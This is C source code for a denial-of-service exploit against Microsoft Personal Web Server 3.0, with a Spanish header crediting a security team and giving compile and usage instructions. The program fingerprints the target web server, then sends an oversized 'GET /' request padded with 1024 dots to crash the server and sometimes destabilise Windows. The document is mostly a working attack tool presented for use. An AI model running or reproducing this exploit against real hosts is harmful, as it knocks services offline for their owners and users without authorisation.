/* Coded by eL Qva$aR - http://www.undersec.com - UNDERSEC Security Team */ /* DOS: Sencillo DOS para Personal Web Server de Microsoft. El programa fue testeado correctamente en Personal Web Server Build 3.0.926 bajo Win 9x. Se trata justo de la version anterior al PWS que viene en el IIS 4.00. He encontrado (sobre todo en LANS) todavia algunas versiones. Efecto: El DOS provoca el cuelgue del PWS y en ocasiones deja inestable el resto del Windows aunke no ocurre el 100% de las veces. Compilado: Compila perfectamente bajo Red Hat 6.0 y SuSE 6.3. Uso: gcc pwsdos.c -o pwsdos -Wall Patch: Hemos probado el Norton Crash Guard 2.00 y lanza el aviso del cuelgue pero el sistema nunca se cuelga. Incluso es capaz de continuar dejando operativo el PWS. Agradecimientos: Gash - Por ayudarme en las pruebas. Undersec Security Team - Por esta siempre ahi. */ /* NO uso todas las cabeceras pero ya las pongo por costumbre. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sock=0; struct sockaddr_in sin; struct hostent *he; char buffer[1024]; int num,count=0; char buff[1024]; char *sendstr[100]; int PORT=80; /* Si usa otro puerto el server cambialo de aki - If server needs another port, u change it here */ sendstr[1] = "GET /"; sendstr[3] = "/ \n\n"; if (argc != 2) { printf("\nPWS xploit by eL Qva$aR - UNDERSEC Security Team - Tested on PWS build 3.0.2.926\n"); printf("\nusage : %s host \n\n",argv[0]); exit(0); } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname"); exit(0); } printf("\nPWS xploit by eL Qva$aR - UNDERSEC Security Team - Tested on PWS build 3.0.2.926\n"); sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(PORT); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { perror("\nconnect"); } printf("\n\n\t [ Press any key to check out the httpd version...... ]\n"); getchar(); send(sock, "HEAD / HTTP/1.0\n\n",17,0); recv(sock, buffer, sizeof(buffer),0); printf("%s",buffer); close(sock); printf("\n\t [ If version is correct press any key to xploit it...... ]\n"); getchar(); sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(PORT); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { perror("connect"); } printf("\nXploiting..........\n\n"); for(num=0;num < sizeof(buff);num++) { buff[num] = '.'; } sendstr[2]=buff; for (count=1;count<4;count++) { send(sock, sendstr[count],strlen(sendstr[count]),0); } return (0); }